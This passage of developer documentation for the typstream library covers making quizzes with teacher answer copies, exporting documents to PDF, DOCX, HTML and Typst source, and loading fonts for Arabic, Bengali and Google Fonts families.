  #mcq([$2/3$], [$3/6$], [$3/4$], [$5/8$], answer: 2)
]

#question(points: 1)[
  $2/5 + 1/5 =$ #blank(answer: $3/5$)
]

#question(points: 1)[
  #true-false(answer: false)[$3/4$ is smaller than $2/3$.]
]

#question(points: 2)[
  Explain why $4/8$ and $1/2$ are the same amount.
  #answer-lines(count: 2, answer: [Divide the top and bottom of $4/8$ by 4 to get $1/2$.])
]

#answer-key()
```

Tick **Show answers** to see the teacher's copy: the correct option in bold, the blank and the lines filled in red,
the statement marked, and the answer key listed under the question numbers. The functions used:

| Function | What it writes | `answer` |
|---|---|---|
| [`quiz`](/docs/reference/edu/vocabulary#quiz) | Title, subject, grade, total points, student fields | |
| [`question`](/docs/reference/edu/vocabulary#question) | A numbered question with its points | |
| [`mcq`](/docs/reference/edu/vocabulary#mcq) | Lettered options | The correct option's number, from 1, or an array |
| [`blank`](/docs/reference/edu/vocabulary#blank) | An inline blank | The expected answer (content) |
| [`true-false`](/docs/reference/edu/vocabulary#true-false) | A statement to mark | `true` or `false` |
| [`answer-lines`](/docs/reference/edu/vocabulary#answer-lines) | Ruled lines for a written answer | A model answer |
| [`answer-key`](/docs/reference/edu/vocabulary#answer-key) | Every answer, by question number | |

Others you'll use often: [`answer-space`](/docs/reference/edu/vocabulary#answer-space) for working space,
[`matching`](/docs/reference/edu/vocabulary#matching), [`answer`](/docs/reference/edu/vocabulary#answer) for a worked
solution, [`callout`](/docs/reference/edu/vocabulary#callout), [`rubric`](/docs/reference/edu/vocabulary#rubric),
and drawings such as [`number-line`](/docs/reference/edu/vocabulary#number-line) and
[`coordinate-plane`](/docs/reference/edu/vocabulary#coordinate-plane). Chemistry is
[`ce`](/docs/reference/edu/vocabulary#ce): `#ce("2H2 + O2 -> 2H2O")`.

Every parameter has a default and accepts what a stream cut leaves behind, so a half-written `#mcq(` renders as
the options so far instead of failing the compile.

## The teacher's copy

Answers appear only when the Typst input `showAnswers` is `"true"`. Otherwise they produce no output at all, in either
target: they aren't hidden with CSS, and they aren't in the PDF's text. A student's copy can't leak them.

So the teacher's copy is the same document compiled with one more input. You don't ask the model again:

```tsx
import { edu, SHOW_ANSWERS_INPUT } from "@typstream/edu";
import { useState } from "react";
import { Typstream } from "typstream";

export function QuizPreview({ source, isStreaming }: { source: string; isStreaming: boolean }) {
  const [teacher, setTeacher] = useState(false);
  return (
    <>
      <label>
        <input type="checkbox" checked={teacher} onChange={(e) => setTeacher(e.target.checked)} /> Show answers
      </label>
      <Typstream
        source={source}
        isStreaming={isStreaming}
        plugins={[edu]}
        inputs={teacher ? { [SHOW_ANSWERS_INPUT]: "true" } : undefined}
      />
    </>
  );
}
```

`SHOW_ANSWERS_INPUT` is the string `"showAnswers"`. Changing `inputs` recompiles the document in place; the source
and the stream are untouched.

## Templates

There are two ways to apply a template, and a document should use exactly one.

**In the document** (the default). The model writes the template line, with the document's own title:

```typst
#show: worksheet.with(title: [Adding Fractions], subject: [Mathematics], grade: [Grade 5])
```

This is what the prompt kit asks for, and the only way to set a title, subject, grade, instructions or language.

**From the app.** If the teacher picks the document type in your UI and the model writes only the body, pass the
template's name:

```tsx
<Typstream source={body} plugins={[edu]} template="worksheet" />
```

The `template` prop applies `#show: worksheet` with its defaults before the document. Tell the model not to write a
template line then: one applied twice renders its header twice.

| Template | For |
|---|---|
| [`worksheet`](/docs/reference/edu/vocabulary#worksheet) | Title, subject and grade, and name, date and class lines. |
| [`quiz`](/docs/reference/edu/vocabulary#quiz) | A worksheet with the total of the questions' points. |
| [`exam`](/docs/reference/edu/vocabulary#exam) | Duration and total points, student fields, an instructions box and a running header. |
| [`lesson-plan`](/docs/reference/edu/vocabulary#lesson-plan) | A table of subject, grade, duration, date and teacher; no student fields. |
| [`handout`](/docs/reference/edu/vocabulary#handout) | Title and subtitle, with no student fields. |

Every template takes `paper` (`"a4"` by default, or `"us-letter"`). Worksheets, quizzes and exams also take `info`,
the student fields (`none` for none), and `points-label`, the word after the points (`"marks"`, say).

## Languages

Pass `lang` to the template, and everything edu writes itself follows the language: field labels, the points word,
option letters, true and false, callout and key titles. Arabic and Bengali are supported alongside English, and
right-to-left layout follows from the language in both targets.

```typst
#show: quiz.with(lang: "ar", title: [المجموعة الشمسية], subject: [العلوم], grade: [الصف الخامس])

#question(points: 1)[
  ما هو أقرب كوكب إلى الشمس؟
  #mcq([الزهرة], [عطارد], [المريخ], [الأرض], answer: 2)
]

#question(points: 2)[
  #true-false(answer: true)[المريخ هو الكوكب الأحمر.]
]
```

| | English | Arabic (`"ar"`) | Bengali (`"bn"`) |
|---|---|---|---|
| Option letters | (a), (b), (c) | (أ), (ب), (ج) | (ক), (খ), (গ) |
| Points | 1 point, 2 points | درجة واحدة, درجتان, 3 درجات | 1 নম্বর |
| Direction | left to right | right to left | left to right |

Arabic counts with its own forms for one and two. Other languages get the English words. The Arabic and Bengali
fonts are downloaded the first time a document uses them; see [Fonts and languages](/docs/guides/fonts-and-languages).

## Export the student's and teacher's PDFs

Exports compile the document again in final mode with the inputs you give, so one document makes both copies. In
React, the exports are on `useTypstream()`:

```tsx
"use client";
import { edu, SHOW_ANSWERS_INPUT } from "@typstream/edu";
import { Typstream, useTypstream } from "typstream";

const save = (pdf: Uint8Array, name: string) => {
  // TypeScript 5.7+ types Blob parts as ArrayBuffer-backed views.
  const url = URL.createObjectURL(new Blob([pdf as Uint8Array<ArrayBuffer>], { type: "application/pdf" }));
  const link = document.createElement("a");
  link.href = url;
  link.download = name;
  link.click();
  setTimeout(() => URL.revokeObjectURL(url), 0);
};

export function Quiz({ source, isStreaming }: { source: string; isStreaming: boolean }) {
  const t = useTypstream();
  const exportCopy = async (teacher: boolean) => {
    const pdf = await t.exportPdf({ inputs: { [SHOW_ANSWERS_INPUT]: teacher ? "true" : "false" } });
    save(pdf, teacher ? "quiz-teacher.pdf" : "quiz.pdf");
  };
  return (
    <>
      <Typstream ref={t.ref} source={source} isStreaming={isStreaming} plugins={[edu]} />
      <button type="button" disabled={!t.handle || isStreaming} onClick={() => exportCopy(false)}>
        Student PDF
      </button>
      <button type="button" disabled={!t.handle || isStreaming} onClick={() => exportCopy(true)}>
        Teacher PDF
      </button>
    </>
  );
}
```

Set `showAnswers` on both exports. An export's `inputs` go over the component's `inputs` prop: if the preview is
showing answers, a "student" PDF without `"false"` would too.

On the server, `@typstream/node` renders the same document. Give it edu's files and preamble:

```ts
import { writeFile } from "node:fs/promises";
import { eduFiles, eduPreamble, SHOW_ANSWERS_INPUT } from "@typstream/edu";
import { render } from "@typstream/node";

const options = { files: eduFiles, preamble: eduPreamble };
const student = await render(source, "pdf", options);
const teacher = await render(source, "pdf", { ...options, inputs: { [SHOW_ANSWERS_INPUT]: "true" } });
if (student.ok) await writeFile("quiz.pdf", student.data);
if (teacher.ok) await writeFile("quiz-teacher.pdf", teacher.data);
```

[Exports](/docs/guides/exports) covers HTML exports, errors and timeouts.


# Exports: PDF, DOCX, HTML and source

> Export a rendered document as a PDF, an editable Word file, a standalone HTML file or its Typst source, in the browser or on the server, and handle export errors.

Source: https://typstream.vercel.app/docs/guides/exports

A document on screen can be saved four ways: as a **PDF**, as an editable **Word file** (DOCX), as an **HTML file**
that opens on its own, or as its **Typst source**. Exports run in the same engine that renders the preview, so the file matches what the reader sees,
and they don't need a second download or a server.

## Where the exports are

| | PDF | DOCX (beta) | HTML | Source |
|---|---|---|---|---|
| `EngineDocument` (`@typstream/engine`) | `exportPdf(options?)` | `exportDocx(options?)` | `exportHtml(options?)`: Typst's raw HTML | `exportSource()` |
| `MountedTypstream` (`@typstream/dom`) | `exportPdf(options?)` | `exportDocx(options?)` | `exportHtml(options?)`: a standalone file | `exportSource()` |
| React (`typstream`, `@typstream/react`) | `exportPdf(options?)` | `exportDocx(options?)` | `exportHtml(options?)`: a standalone file | `exportSource()` |

In React, the exports are on `useTypstream()` (`t.exportPdf()`) and on the handle `<Typstream ref>` gives you. They
are `MountedTypstream`'s: the component mounts one. Documents open when their element comes near the viewport, or when
they start streaming; an export opens one that hasn't opened yet. Before the `<Typstream>` mounts, and after it
unmounts, the exports reject (`exportSource()` throws) with "`<Typstream>` isn't mounted".

## What an export compiles

An export compiles `exportSource()`: the healed input, with lint fixes applied. It compiles it in final mode (strictly,
as a finished document) with the document's preamble and files, in the engine's worker.

- **Export the finished document.** While the document is still streaming, the healed source includes tail repair:
  whatever the stream cut left open, closed. Export after streaming ends (`isStreaming` back to false, or `finish()`
  on an `EngineDocument`).
- **Exports go first.** An export runs before compiles that are waiting, so a busy preview doesn't hold it up.
- **Budget.** An export has the final watchdog budget, 10 seconds by default (`createEngine({ watchdog: { finalMs } })`).
  Past it, the worker is replaced and the export fails with `timeout`.
- **Packages and fonts.** An export waits up to 3 seconds for packages the document imports and for fonts its compile
  lacked, then compiles with what has arrived.

### Inputs

`exportPdf`, `exportDocx` and `exportHtml` take `{ inputs }`, `sys.inputs` for that export only. Use them when the export should
differ from the preview: a teacher's copy (`{ showAnswers: "true" }`, see
[edu documents](/docs/guides/edu-documents#export-the-students-and-teachers-pdfs)), or a student's copy
(`{ showAnswers: "false" }`) while the preview shows answers.

- **React and `MountedTypstream`** compile with the template's inputs and the `inputs` prop or option, then the
  export's `inputs` over them. They leave out the inputs of `layout="reflow"`, which lays pages out at the
  element's width, so the export comes out at the document's own page size.
- **`EngineDocument`** compiles with the document's current inputs, or with exactly the export's `inputs` when you
  give them: they replace the document's rather than adding to them. A mounted document's inputs include reflow's
  page size, so in React and with `mountTypstream`, export through the component or the mount, not `document`.

## PDF

```ts
const pdf: Uint8Array = await doc.exportPdf();
```

It is Typst's own PDF export, with selectable text and the fonts embedded.

## DOCX

```ts
const docx: Uint8Array = await doc.exportDocx();
```

An editable Word file that lays out as the PDF does: the same lines on the same pages. It is read from the same
laid-out pages as the PDF, and written as Word's own structure, so a teacher can edit it:

- paragraphs and their runs (fonts, sizes, colours, links), headings with Word's heading styles, lists with Word's
  numbering, tables and grids with Typst's column widths and repeated header rows, framed boxes as one-cell tables,
  ruled lines, `columns` as Word's columns, placed text as frames where Typst put it;
- page size and margins, headers and footers, page numbers as fields (numbered as Typst numbers the pages: roman
  numerals for front matter and a restart, as Word sections), page breaks where Typst starts a page, outlines with
  Word's dot leaders;
- equations as Word equations you can edit: fractions, scripts and limits, roots, brackets, matrices and `cases`,
  big operators with their operands, function names, accents, braces and aligned lines, inline in their line or
  displayed (a numbered one with its number at the right), in Typst's math font;
- what Word can't draw as pictures, at the size and place Typst drew them: images, CeTZ and fletcher canvases, mind
  maps, edu's number lines, graph paper and coordinate planes (with their descriptions as alt text), and `place`d
  drawings anchored to the page. Each is Typst's own drawing as SVG, which Word 2016 and later, LibreOffice and
  ONLYOFFICE draw, with a 300 DPI PNG for older Word and other apps;
- Typst's fonts, embedded, so Word sets the text in the faces the PDF uses, and text in every script: Arabic and
  Hebrew right to left (right-to-left paragraphs, with their lists and tables mirrored as Typst mirrors them),
  Bengali and Devanagari as written, each run with its language;
- the [layout profile](/docs/concepts/render-targets#layout-profile)'s settings, which make Word break lines and pages
  where Typst does: exact line pitch, ragged right, no hyphenation, rows that stay on one page.

Free-form drawing that Word could keep editable if it were drawn otherwise, a box with rounded corners, filled with a
gradient or rotated text, becomes a picture too, its text with it, and the export warns about it: a diagnostic with
`code: "docx/fallback"` at the box. edu's `callout` draws a box Word keeps editable, and heal's
[`layout-profile`](/docs/concepts/healing#lint-rules) lint rule squares the corners of the boxes a model draws around
text, on the page too, so they come out as table cells Word can edit. Highlights and filled boxes around words are
Word's shading, dashed and dotted frames Word's dashed and dotted borders, and a dashed line a picture. The file is checked against the PDF with
LibreOffice, ONLYOFFICE and Microsoft's Open XML validator, pictures pixel by pixel; edits made in Word don't come back
to the document. What Word can't reproduce exactly:

- a word longer than its table column, which Typst lets run past the cell, Word breaks inside the cell;
- equations: each word processor typesets math itself, so an equation can come out a little wider or taller than
  Typst's, and a line or a page break can move where a document has many of them. Typst's math font is embedded and
  named as the document's math font; whether Word uses it rather than Cambria Math is untested (no Word in the
  checks);
- numbers Word has no format for, Bengali and Eastern Arabic digits: list labels in them are text (not Word
  numbering), and page numbers in them come out in Western digits (Devanagari ones are Word's Hindi numbers);
- in LibreOffice only (Word isn't in the checks): equations come out black whatever their colour (its import drops
  the colour Word reads), and inline fractions are set at display size, so a line with one is taller;
- text decorations Word has no equivalent for, or sets otherwise: an overline, small capitals from the font, letter
  and word spacing, and a word framed by a box in a line (Word underlines it).

Google Docs opens the file with its own spacing: it has no exact line heights, so lines are spaced as multiples of
the font's and its pages can break in other places. Pictures and the space around them keep their size there, so text
doesn't run under a picture.

## HTML

`EngineDocument.exportHtml()` returns Typst's HTML export: a complete HTML document, without the source anchors the
live preview uses. It is **not sanitized**. The model wrote it, so don't insert it into your page.

`standaloneHtml(html, options)` from `@typstream/dom` makes it a file that is safe to download and open:

- the renderer's theme, then the plugins' stylesheets (html-compat's, edu's), then your `stylesheets`, all inline;
- the root class `typstream` on `<body>`, so those styles apply;
- a Content-Security-Policy as the first thing in `<head>`, so whatever the document contains can't run scripts, load
  anything from the network or submit forms. Only inline styles and `data:` images and fonts are allowed, plus the
  math font's origin if you give it as a URL;
- `<meta http-equiv="refresh">` removed, and `dir="rtl"` on `<html>` for a right-to-left language;
- optionally the math font, so MathML renders properly wherever the file is opened.

The file isn't sanitized; the policy is what makes it safe. Re-serializing sanitized nodes for a file would invite
mutation XSS, which the policy avoids.

### StandaloneHtmlOptions

How standaloneHtml builds the file.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `plugins?`     | `readonly TypstreamPlugin[] \| undefined`                   | Plugins whose `stylesheets` are added after the theme (html-compat's, edu's), in the order given.                                                                                                                                                  |
| `stylesheets?` | `readonly string[] \| undefined`                            | CSS added after the theme and the plugins' stylesheets: an app's own.                                                                                                                                                                              |
| `theme?`       | `"auto" \| "dark" \| "light" \| undefined`                  | `light` (default: files get printed and shared), `dark`, or `auto` (follows the reader's system).                                                                                                                                                  |
| `mathFont?`    | `string \| URL \| Uint8Array<ArrayBufferLike> \| undefined` | New Computer Modern Math for MathML, which browsers need to stretch delimiters (PLAN §6.5): the font file's bytes to embed (~0.7 MB as base64), or an absolute URL to load it from. Without it, readers' browsers use their own math font, if any. |
| `fonts?`       | `readonly LoadedFontFamily[] \| undefined`                  | Families loaded from font catalogues (`Engine.fonts`): those the document uses load from their URLs, which the file's policy allows.                                                                                                               |
| `title?`       | `string \| undefined`                                       | The `<title>`, unless the document sets one (`#set document(title: …)`).                                                                                                                                                                           |

```ts
import { standaloneHtml } from "@typstream/dom";

const file = standaloneHtml(await doc.exportHtml(), { plugins: doc.plugins, title: "Worksheet" });
```

`doc.plugins` is the document's resolved plugin list, so the file gets the same plugin stylesheets as the preview.

That file is Typst's HTML in a reading layout. To download what the HTML target shows, laid out as the pages,
use `standalonePages(html, options)` (in a browser). It lays the export out off-screen, as the HTML renderer does,
and writes the result into the same kind of file: the same policy and stylesheets, the renderer's CSS, and the Typst
fonts the pages use, embedded from `typstFonts` (pass the ones you give `registerTypstFonts`). The file runs no
script, so the layout is done when you export: it shows the pages one under the other at their size and prints a page
per sheet.

### StandalonePagesOptions

How standalonePages builds the file: StandaloneHtmlOptions, and Typst's fonts.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `plugins?`     | `readonly TypstreamPlugin[] \| undefined`                   | Plugins whose `stylesheets` are added after the theme (html-compat's, edu's), in the order given.                                                                                                                                                  |
| `stylesheets?` | `readonly string[] \| undefined`                            | CSS added after the theme and the plugins' stylesheets: an app's own.                                                                                                                                                                              |
| `theme?`       | `"auto" \| "dark" \| "light" \| undefined`                  | `light` (default: files get printed and shared), `dark`, or `auto` (follows the reader's system).                                                                                                                                                  |
| `typstFonts?`  | `readonly TypstFont[] \| undefined`                         | Typst's fonts (`registerTypstFonts`; `typstream` passes the engine's): those the pages use are embedded in the file, so it shows them where they aren't installed.                                                                                 |
| `document?`    | `Document \| undefined`                                     | The document to lay the pages out in. Default `document`.                                                                                                                                                                                          |
| `onPages?`     | `((count: number) => void) \| undefined`                    | Called with the number of pages the export was laid out on: what `counter(page).final()` should be, through the input `typstream-page-count` (`MountedTypstream.exportHtml()` compiles again with it).                                             |
| `mathFont?`    | `string \| URL \| Uint8Array<ArrayBufferLike> \| undefined` | New Computer Modern Math for MathML, which browsers need to stretch delimiters (PLAN §6.5): the font file's bytes to embed (~0.7 MB as base64), or an absolute URL to load it from. Without it, readers' browsers use their own math font, if any. |
| `fonts?`       | `readonly LoadedFontFamily[] \| undefined`                  | Families loaded from font catalogues (`Engine.fonts`): those the document uses load from their URLs, which the file's policy allows.                                                                                                               |
| `title?`       | `string \| undefined`                                       | The `<title>`, unless the document sets one (`#set document(title: …)`).                                                                                                                                                                           |

```ts
import { standalonePages } from "@typstream/dom";

const file = await standalonePages(await doc.exportHtml({ anchors: true }), { plugins: doc.plugins, typstFonts });
```

Export with `anchors: true`: html-compat writes each block's page settings, header and footer on the source anchors,
so without them the pages are A4 with none. A document that writes its page count (`counter(page).final()`, an exam's
"2 / 3") needs it as the input `typstream-page-count`: `onPages` gives the count the export was laid out on, to export
again with.

`MountedTypstream.exportHtml(options?)` and React's `exportHtml(options?)` do both steps, laid out as the pages, with
the component's or mount's plugins, `stylesheets`, `theme` and Typst fonts, compiling again with the page count until
it holds. `options` add to or override them, and can hold `inputs` too. `pages: false` gives `standaloneHtml`'s
reading layout instead.

### TypstreamHtmlExportOptions

How MountedTypstream.exportHtml makes the file.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `title?`       | `string \| undefined`                                       | The `<title>`, unless the document sets one (`#set document(title: …)`).                                                                                                                                                                           |
| `pages?`       | `boolean \| undefined`                                      | Laid out as the pages, as the HTML target shows them (standalonePages, the mount's Typst fonts embedded). Default true; `false` gives Typst's HTML in a reading layout (standaloneHtml).                                                           |
| `plugins?`     | `readonly TypstreamPlugin[] \| undefined`                   | Plugins whose `stylesheets` are added after the theme (html-compat's, edu's), in the order given.                                                                                                                                                  |
| `stylesheets?` | `readonly string[] \| undefined`                            | CSS added after the theme and the plugins' stylesheets: an app's own.                                                                                                                                                                              |
| `theme?`       | `"auto" \| "dark" \| "light" \| undefined`                  | `light` (default: files get printed and shared), `dark`, or `auto` (follows the reader's system).                                                                                                                                                  |
| `mathFont?`    | `string \| URL \| Uint8Array<ArrayBufferLike> \| undefined` | New Computer Modern Math for MathML, which browsers need to stretch delimiters (PLAN §6.5): the font file's bytes to embed (~0.7 MB as base64), or an absolute URL to load it from. Without it, readers' browsers use their own math font, if any. |
| `fonts?`       | `readonly LoadedFontFamily[] \| undefined`                  | Families loaded from font catalogues (`Engine.fonts`): those the document uses load from their URLs, which the file's policy allows.                                                                                                               |
| `inputs?`      | `Record<string, string> \| undefined`                       | `sys.inputs` for this export only, over the template's and the mount's `inputs`: a teacher's copy (`{ showAnswers: "true" }`) of a preview that shows the student's.                                                                               |

To embed the math font, fetch the engine's copy once:

```ts
import { baseFonts } from "@typstream/engine-wasm/fonts";

const url = baseFonts.find((u) => u.pathname.includes("NewCMMath"));
const mathFont = new Uint8Array(await (await fetch(url!)).arrayBuffer());
const file = standaloneHtml(await doc.exportHtml(), { plugins: doc.plugins, mathFont });
```

Embedded, it adds about 0.7 MB to the file. Given as a URL instead, the file stays small but needs that URL to be
reachable when it's opened.

## Source

`exportSource()` returns the healed source as a string, synchronously. It doesn't include the preamble or the files.
Save it to store the document, or offer it as a `.typ` download.

To compile the source elsewhere, give it what the preview had. For a document written with `@typstream/edu`, that
means its files and preamble (`eduFiles`, `eduPreamble`), or, with the Typst CLI, edu's package and an
`#import "@typstream/edu:0.1.0": *` line in front.

## Errors

Exports reject with an `ExportError`. Its `reason` says what went wrong, and `diagnostics` holds the export's
diagnostics in input coordinates:

| `reason` | Meaning |
|---|---|
| `diagnostics` | The source has errors; they are in `diagnostics`. |
| `unsupported` | The engine doesn't offer this format. |
| `timeout` | The export ran past the final watchdog budget; the worker was replaced. |
| `crash` | The worker died during the export. |
| `too-large` | The input is longer than `limits.maxLength` (1 MiB by default). |
| `engine` | The engine can't run, was disposed or refused the request, or the document was disposed. |

```ts
import { ExportError } from "@typstream/engine";

try {
  await doc.exportPdf();
} catch (error) {
  if (error instanceof ExportError && error.reason === "diagnostics") {
    showErrors(error.diagnostics);
  } else throw error;
}
```

`error.name` is always `"ExportError"`, if you'd rather not import the class.

## A download button in React

```tsx title="components/download-buttons.tsx"
"use client";
import { useState } from "react";
import type { TypstreamInfo } from "typstream";

const save = (data: BlobPart, type: string, name: string) => {
  const url = URL.createObjectURL(new Blob([data], { type }));
  const link = document.createElement("a");
  link.href = url;
  link.download = name;
  link.click();
  setTimeout(() => URL.revokeObjectURL(url), 0);
};

export function DownloadButtons({ t, disabled }: { t: TypstreamInfo; disabled: boolean }) {
  const [error, setError] = useState<string | null>(null);
  // An export opens a document that hasn't opened yet; it needs a mounted <Typstream>.
  const off = !t.handle || disabled;

  const run = async (download: () => Promise<void>) => {
    setError(null);
    try {
      await download();
    } catch (e) {
      setError(e instanceof Error ? e.message : String(e));
    }
  };

  return (
    <div>
      <button
        type="button"
        disabled={off}
        onClick={() =>
          run(async () => {
            const pdf = await t.exportPdf();
            // TypeScript 5.7+ types Blob parts as ArrayBuffer-backed views.
            save(pdf as Uint8Array<ArrayBuffer>, "application/pdf", "document.pdf");
          })
        }
      >
        PDF
      </button>
      <button
        type="button"
        disabled={off}
        onClick={() =>
          run(async () => save(await t.exportHtml({ title: "Document" }), "text/html", "document.html"))
        }
      >
        HTML
      </button>
      <button
        type="button"
        disabled={!t.handle}
        onClick={() => save(t.exportSource(), "text/plain", "document.typ")}
      >
        Typst source
      </button>
      {error && <p role="alert">{error}</p>}
    </div>
  );
}
```

```tsx title="components/answer.tsx"
"use client";
import { Typstream, useTypstream } from "typstream";
import { DownloadButtons } from "./download-buttons";

export function Answer({ text, isStreaming }: { text: string; isStreaming: boolean }) {
  const t = useTypstream();
  return (
    <>
      <Typstream ref={t.ref} source={text} isStreaming={isStreaming} />
      <DownloadButtons t={t} disabled={isStreaming} />
    </>
  );
}
```

`exportHtml` already returns the standalone file, so the component needs nothing from `@typstream/dom`. `typstream`
doesn't re-export `ExportError`: check `error.name === "ExportError"`, or install `@typstream/engine` to import the
class.

## On the server

`@typstream/node` renders a document without a browser, on the same Typst build:

```ts
import { writeFile } from "node:fs/promises";
import { render } from "@typstream/node";

const result = await render(source, "pdf");
if (result.ok) await writeFile("document.pdf", result.data);
else console.error(result.diagnostics);
```

`render(source, format, options?)` takes `"pdf"` (bytes), `"docx"` (bytes), `"html"` (Typst's HTML as a string) or
`"svg"` (one string per page), and the options every compile takes: `preamble`, `files`, `inputs`, `timeoutMs` and `engine`. A result is
`{ ok: true, data, diagnostics, pageCount?, ms }` or `{ ok: false, diagnostics, ms }`. `standaloneHtml` is a string
transform, so it works on the server's HTML too. See [`@typstream/node`](/docs/reference/node) and
[the server fix loop](/docs/guides/server-fix-loop).


# Fonts and languages

> The fonts the engine ships, how Arabic, Bengali and Devanagari fonts load on demand, any Google Fonts family by name, right-to-left text in both targets, and how to add fonts such as CJK.

Source: https://typstream.vercel.app/docs/guides/fonts-and-languages

The engine compiles with its own fonts, not the reader's system fonts, so a page looks the same on every machine and
in the exported PDF. It ships a small base set and downloads fonts for other scripts only when a document uses them.
This page covers both, letting documents use any Google Fonts family, right-to-left text, and how to add fonts of
your own.

## The fonts the engine ships

| Fonts | Covers | Loaded |
|---|---|---|
| Libertinus Serif (regular, bold, italic) | Latin, Greek, Cyrillic, Hebrew | When the engine starts |
| New Computer Modern Math | Math | When the engine starts |
| DejaVu Sans Mono | Raw text and code | When the engine starts |
| The rest of Typst's bundled faces: Libertinus Serif bold italic and semibold, New Computer Modern, the math font's regular and bold, DejaVu Sans Mono bold and oblique | What a document asks for (`*_bold italic_*`, bold code, math in bold text, symbols Libertinus Serif lacks) | The first time a document uses it |
| Noto Naskh Arabic (regular, bold) | Arabic | The first time a document uses it |
| Noto Serif Bengali (regular, bold) | Bengali | The first time a document uses it |
| Noto Serif Devanagari (regular, bold) | Devanagari (Hindi, Marathi, Nepali, …) | The first time a document uses it |

The base fonts are about 2.6 MB. Each script font file is 47–79 KB compressed and is fetched on its own, so a
document with regular-weight Arabic text downloads one file. All of them are served from your own origin: your
bundler emits them as assets next to `@typstream/engine-wasm`'s JavaScript. Their licenses are in
`@typstream/engine-wasm`'s `dist/fonts/NOTICE` and `dist/fonts/LICENSE-Noto.txt`.

```typst
#set text(size: 16pt)

Good morning, class.

#text(lang: "ar")[صباح الخير يا طلاب.]

#text(lang: "bn")[সুপ্রভাত, শিক্ষার্থীরা।]
```

On a first visit you may see the Arabic and Bengali lines in the **Pages** view settle a moment after the English one:
the first compile lacked their fonts, and the engine compiled again once they arrived.

## How lazy fonts load

Script fonts are registered when the engine starts, from metadata computed at build time (family, style, which
characters each face covers), but without their bytes. Typst picks fonts as usual, by family or by falling back to the
first font that covers the text, so it chooses a script font exactly as if it were loaded. Then:

1. The compile notes that it wanted a font it has no bytes for, and carries on: for now the text falls back to the
   next font or shows as boxes. The compile itself succeeds.
2. The engine's worker fetches the font. Fetched fonts are kept in Cache Storage (`typstream-fonts`), so each
   downloads once per browser.
3. Once the font has arrived, the engine compiles the document again on its own, and the text appears in the right
   font. You don't need to do anything.

Exports wait for missing fonts too: an export whose compile lacked a font waits up to 3 seconds for it, then compiles
again with it, or exports without it if it doesn't arrive in time.

## Fonts in the HTML target

In the HTML target the browser draws the text, with the reader's fonts and your CSS. Typst's HTML export leaves fonts
out: `#set text(font: "…")` changes nothing there. The engine's fonts matter only where Typst draws something itself,
such as the drawings `@typstream/html-compat` turns into inline SVG (CeTZ canvases, polygons). For Arabic or Bengali in
the HTML target, the reader's system fonts are used unless your page loads web fonts for those scripts. The families a
font catalogue loads are the exception: see [the next section](#any-google-fonts-family).

Math is the exception. Typst writes math as MathML, and browsers need a math font to stretch delimiters and set
math italics. `@typstream/html-compat`'s stylesheet asks for New Computer Modern Math, and `typstream`'s
`<Typstream>` registers the engine's copy of it as a web font. With `@typstream/react`, pass its URL yourself:

```tsx
import { baseFonts } from "@typstream/engine-wasm/fonts";
import { Typstream } from "@typstream/react";

const mathFont = baseFonts.find((url) => url.pathname.includes("NewCMMath"));

<Typstream source={text} mathFont={mathFont} />;
```

Without React, `registerMathFont(url)` from `@typstream/dom` does the same. It uses the FontFace API, so it needs no
`font-src` exception for inline CSS.

## Any Google Fonts family

With the `@typstream/google-fonts` plugin, a document can name any family of the
[Google Fonts](https://fonts.google.com) library, and a model writing one can use whichever suits it:

```tsx
import { googleFonts } from "@typstream/google-fonts";
import { Typstream } from "typstream";

<Typstream source={text} plugins={[googleFonts]} />;
```

```typst
#set text(font: "Lora")
#show heading: set text(font: "Playfair Display")

= Fractions
#text(font: "Caveat")[Show your working.]
```

Pass the plugin to `buildSystemPrompt` from `@typstream/edu` too: its prompt rules tell the model it may use any Google
Fonts family by its exact name, and which families stand in for Arial, Times New Roman or Calibri, which aren't in the
library.

### How it works

The plugin gives the engine a **font catalogue**: an index of the library's 2,000 families and their font files
(`catalogue.json`, 465 KB, 67 KB gzipped), pinned to one commit of
[github.com/google/fonts](https://github.com/google/fonts), whose files [jsDelivr](https://www.jsdelivr.com) serves.

1. A document names a family the engine doesn't have. Typst warns `unknown font family: lora`, and the text falls
   back to the base fonts for now.
2. The worker looks the family up in the index (fetched the first time) and downloads its files. Fonts are the
   worker's, so every document has the family from then on.
3. The engine compiles the document again with it, as it does when a [lazy font](#how-lazy-fonts-load) arrives.
   Exports wait for it too.

**In the paged target** Typst draws the text with the family's files, as in the PDF. **In the HTML target**, the
plugin's preamble marks text in another font than the document's own with its family
(`<span data-typstream-font="lora">`; not inside equations, which keep their math font). When the engine has loaded a
family, `mountTypstream` (and so `<Typstream>`) registers the same files as web fonts and shows the marked text in it.
Text in a family that didn't load keeps your page's font. HTML exports (`exportHtml`) link the families they use.

### Limits

- **Size.** A family whose files add up to more than 5 MB isn't loaded: that leaves out most CJK families (10–20 MB).
  `createGoogleFonts({ maxBytes })` raises the limit. Families that are only one file per style (variable fonts, as
  most popular ones are) load whole. A static family larger than 1 MB loads only its regular and bold of each style,
  and Typst gives other weights the nearest of those.
- **Names.** A family must be named exactly as Google Fonts names it (`"Open Sans"`, not `"OpenSans"`), case aside.
  Arial, Helvetica or Calibri aren't in the library: the text keeps the base fonts, and a warning stays.
- **Network.** Readers' browsers download the index and the files from `cdn.jsdelivr.net`. Under a
  Content-Security-Policy, add it to `connect-src` ([Security](/docs/guides/security#content-security-policy)). To keep
  readers off third-party servers, mirror the files and point a copy of the index at your mirror:
  `createGoogleFonts({ index: "/fonts/catalogue.json" })`, whose `base` is your mirror's URL.
- **Node.** `@typstream/node`'s server loads nothing from catalogues.

### A catalogue of your own

Any plugin can bring a catalogue, in `engine.fontCatalogues`: `{ index, maxBytes? }`, where `index` is the URL of a
JSON file in this shape (`FontCatalogueIndex` in `@typstream/core`):

```json
{
  "version": 1,
  "base": "https://fonts.example.com/files/",
  "families": {
    "school sans": {
      "name": "School Sans",
      "files": [
        { "path": "SchoolSans[wght].ttf", "style": "normal", "weight": [300, 800], "bytes": 412000 },
